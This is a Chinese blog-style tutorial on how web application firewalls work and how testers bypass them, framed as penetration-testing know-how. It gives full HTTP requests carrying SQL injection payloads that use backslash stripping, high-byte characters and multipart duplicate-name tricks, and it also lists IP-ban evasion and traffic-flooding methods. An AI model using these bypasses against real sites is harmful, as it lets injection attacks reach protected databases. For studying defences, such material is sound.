WAF防护原理和绕过姿势

目录

 

什么是WAF

WAF的种类

WAF部署在哪里

绕WAF的理解

Bypass WAF 姿势

基于IP封锁

基于规则问题

基于解析差异


什么是WAF

定义:web应用防火墙(Web Application Firewall),通过执行一系列针对HTTP/HTTPS的安全策略来防御对web应用的攻击。

WAF的种类

  • 源码防护:

       程序员在开发时使用过滤函数对恶意代码进行过滤。对于这类的绕过思路主要是大小写替换、编码绕过、截断等方式,只要在代码中找到过滤函数就比较容易绕过。

  • 软件WAF:

      主要通过访问速度、指纹识别等特征进行拦截,软件WAF侧重拦截WEB漏洞。主要有安全狗、云锁等

  • 硬件WAF:

      主流防御流量和部分WEB攻击,常见硬件WAF如天融信、启明星辰、深信服、安恒等。 

  • 云WAF:

      如阿里云等。

WAF部署在哪里

在测试的过程中我们要知道WAF一般主要是部署在那个节点,这对我们绕过WAF时有很大帮助。通过下图我们可以大概了解:

 

绕WAF的理解

在我自己看来,所谓的BYPASS WAF实际上是去寻找位于WAF设备之后处理应用层数据包的硬件/软件的特性。利用特性构造WAF不能命中,但是在应用程序能够执行成功的载荷,绕过防护。

那些特性就像是一个个特定的场景一样,一些是已经被研究人员发现的,一些是还没被发现,等待被研究人员发现的。当我们的程序满足了这一个个的场景,倘若WAF没有考虑到这些场景,我们就可以利用这些特性bypass掉WAF了。

由于各个层面可以利用的特性很多,而且WAF往往要考虑自身的性能等等方面,导致了WAF往往会留下一些软肋。

Bypass WAF 姿势

基于IP封锁

在现实的测试过程中会遇到许多在进行几次操作后被封IP的情况。其主要是:

  • 基于http请求头封锁IP

可使用burp suite插件fake-ip进行绕过

  • 基于TCP封锁IP

使用IP代理池不断切换真实IP

基于规则问题

根据WAF返回结果

替换关键字:大小写、/**/替换空格、替换语句。

代理模式

使用垃圾数据等高并发流量,导致设备切换Bypass

IPS模式

分片问题:巨大的Content-Length导致设备Bypass、解码较弱。

基于解析差异

  • 通过业务特性绕过
GET /index.php?id=’an\d''=' HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

在某些业务中,一些字符会被替换成空(如很多利用json来传递数据的网站很多会把凡斜杠\替换成空,这种则可以利用burpsuit进行fuzzing查找被处理掉的字符),利用这个就可以用来绕过waf:an\d‘’=‘会变成’and‘’=’,导致waf绕过. 

  • 特殊字符绕过
GET /index.php?id='a%efnd''=' HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

 测试%[80-ff]都可以,具体可以fuzzing来查找

  • Mutilpart变量覆盖绕过
POST /index.php HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=--------1099641188
Content-Length: 101

----------1099641188
Content-Disposition: form-data; name=“id;filename=xx”;name=“id”

'and''=‘
----------1099641188--

 有些waf检测filename这个属性存在的时候下面的内容则不进行sql注入检测,因此可以构造同名参数前面一个name包含filename这个属性,后面再加一个正常的name属性,但是apache解析的时候会解析后面那个name属性,从而导致waf绕过。

  • Mysql特性使用/*!%0a*/绕过
  • 通过编码饶过
  • 使用截断字符
  • 重复变量
  • 参数解析差异
  • 针对域名的保护
  • Content-Type不同理解
  • 超大数据包
  • Post不同解析方式
  • 异常数据包

 

特性就像是一个个特定的场景一样,一些是已经被研究人员发现的,一些是还没被发现,等待被研究人员发现的。

随着一个个特性的发现,WAF的防护能力在web对抗中逐渐增强,在我看来,当所有的特性场景均被WAF考虑到的时候,势必就会有的新的发现。

因此我们不用担心当所有的特性被WAF考虑到的时候我们无计可施,未知的特性那么多,我们还有很多地方可以去挖掘。

 

当你发现这些姿势都不好使的时候,你就该去发现一些新的特性了,毕竟设计WAF的选手都是基于目前的认知下去设计的,当新的特性出现的时候,势必又是一波bypass

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值